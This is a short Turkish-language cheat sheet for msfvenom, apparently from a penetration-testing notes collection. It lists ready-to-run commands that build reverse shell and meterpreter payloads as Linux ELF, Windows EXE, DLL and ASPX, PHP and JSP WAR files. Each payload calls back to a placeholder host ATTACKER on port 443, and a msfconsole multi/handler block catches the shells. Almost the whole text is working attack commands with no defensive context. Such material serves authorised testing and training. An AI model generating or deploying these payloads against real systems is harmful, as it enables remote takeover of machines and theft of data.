msfvenom

generic difficulty: kolay

msfvenom, Metasploit payload üreticisidir. Mimari, format ve encoder seçimi hedefin OS/AV profiline göre yapılır; handler ile aynı payload ailesi kullanılmalıdır.

Metodoloji

1. Hedef OS/arch seç (linux/x64, windows/x64, …).

2. Format belirle (elf, exe, dll, aspx, raw…).

3. LHOST/LPORT ayarla; çıktıyı transfer et; multi/handler ile dinle.

Listele

msfvenom -l payloads | rg -i 'reverse_tcp|windows/x64|linux/x64'

msfvenom -l formats

Linux

msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f elf -o rev.elf

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=443 -f elf -o met.elf

Windows

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f exe -o rev.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=443 -f exe -o met.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=443 -f dll -o met.dll

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=443 -f aspx -o shell.aspx

Web / diğer

msfvenom -p php/reverse_php LHOST=ATTACKER LPORT=443 -f raw -o shell.php

msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f war -o shell.war

Handler

msfconsole -q -x "use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST ATTACKER

set LPORT 443

run"